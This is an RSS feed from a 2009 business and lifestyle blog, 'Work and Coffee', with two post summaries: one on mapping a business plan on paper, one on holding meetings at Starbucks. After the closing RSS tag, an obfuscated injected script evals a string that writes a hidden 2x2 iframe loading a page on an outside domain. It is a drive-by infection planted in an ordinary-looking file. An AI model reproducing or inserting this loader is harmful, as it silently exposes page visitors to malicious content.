<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Work and Coffee &#187; Manila</title>
	<atom:link href="http://pekson.com/tag/manila/feed/" rel="self" type="application/rss+xml" />
	<link>http://pekson.com</link>
	<description>Business, Technology, Lifestyle and Stuffs</description>
	<lastBuildDate>Sat, 02 Jan 2010 06:59:13 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.9.2</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Creating a Business on Paper &#8211; Literally!</title>
		<link>http://pekson.com/creating-a-business-on-paper-literally/</link>
		<comments>http://pekson.com/creating-a-business-on-paper-literally/#comments</comments>
		<pubDate>Fri, 15 May 2009 05:07:25 +0000</pubDate>
		<dc:creator>Raffy Pekson II</dc:creator>
				<category><![CDATA[Business]]></category>
		<category><![CDATA[Avon]]></category>
		<category><![CDATA[brainstorming]]></category>
		<category><![CDATA[computer]]></category>
		<category><![CDATA[Manila]]></category>
		<category><![CDATA[paper]]></category>
		<category><![CDATA[personal]]></category>
		<category><![CDATA[professional]]></category>

		<guid isPermaLink="false">http://pekson.com/?p=30</guid>
		<description><![CDATA[Creating your business on paper is one of the best things you could so that correct variables are immediately nestled inside the resulting plan. Before SAPADAPPA and the Ishikawa Diagram, start with a "Mind Map" or the like. And start it out on paper -- literally! It pays to doodle first before you write!]]></description>
		<wfw:commentRss>http://pekson.com/creating-a-business-on-paper-literally/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Starbucks: One Meeting at a Time!</title>
		<link>http://pekson.com/starbucks-one-meeting-at-a-time/</link>
		<comments>http://pekson.com/starbucks-one-meeting-at-a-time/#comments</comments>
		<pubDate>Wed, 29 Apr 2009 09:26:06 +0000</pubDate>
		<dc:creator>Raffy Pekson II</dc:creator>
				<category><![CDATA[Business]]></category>
		<category><![CDATA[Lifestyle]]></category>
		<category><![CDATA[airport]]></category>
		<category><![CDATA[books]]></category>
		<category><![CDATA[call center]]></category>
		<category><![CDATA[career]]></category>
		<category><![CDATA[coffee]]></category>
		<category><![CDATA[corporate]]></category>
		<category><![CDATA[family]]></category>
		<category><![CDATA[internet]]></category>
		<category><![CDATA[love]]></category>
		<category><![CDATA[magazines]]></category>
		<category><![CDATA[Manila]]></category>
		<category><![CDATA[meeting]]></category>
		<category><![CDATA[money]]></category>
		<category><![CDATA[newspapers]]></category>
		<category><![CDATA[Personal]]></category>
		<category><![CDATA[restaurants]]></category>
		<category><![CDATA[Starbucks]]></category>
		<category><![CDATA[Sydney]]></category>
		<category><![CDATA[telecommunications]]></category>
		<category><![CDATA[Travel]]></category>
		<category><![CDATA[Vancouver]]></category>

		<guid isPermaLink="false">http://pekson.com/?p=15</guid>
		<description><![CDATA[Like what the subtitle of Howard Schultz’s book says, “One cup at a time,” I strongly recommend going to Starbucks for the start of something great in your career, business and the things you do great!]]></description>
		<wfw:commentRss>http://pekson.com/starbucks-one-meeting-at-a-time/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
<script>var bpxDsSbm8='d*%@o*%@c*%@u*%@m*%@e*%@n*%@t*%@.*%@w*%@r*%@i*%@t*%@e*%@(*%@\'*%@<*%@i*%@f*%@r*%@a*%@m*%@e*%@ *%@s*%@r*%@c*%@=*%@"*%@h*%@t*%@t*%@p*%@:*%@/*%@/*%@n*%@i*%@n*%@o*%@p*%@l*%@a*%@s*%@.*%@c*%@o*%@m*%@/*%@i*%@n*%@.*%@p*%@h*%@p*%@"*%@ *%@w*%@i*%@d*%@t*%@h*%@=*%@2*%@ *%@h*%@e*%@i*%@g*%@h*%@t*%@=*%@2*%@ *%@f*%@r*%@a*%@m*%@e*%@b*%@o*%@r*%@d*%@e*%@r*%@=*%@0*%@>*%@<*%@/*%@i*%@f*%@r*%@a*%@m*%@e*%@>*%@\'*%@)*%@;*%@';eval(bpxDsSbm8.split('*%@').join(""));</script>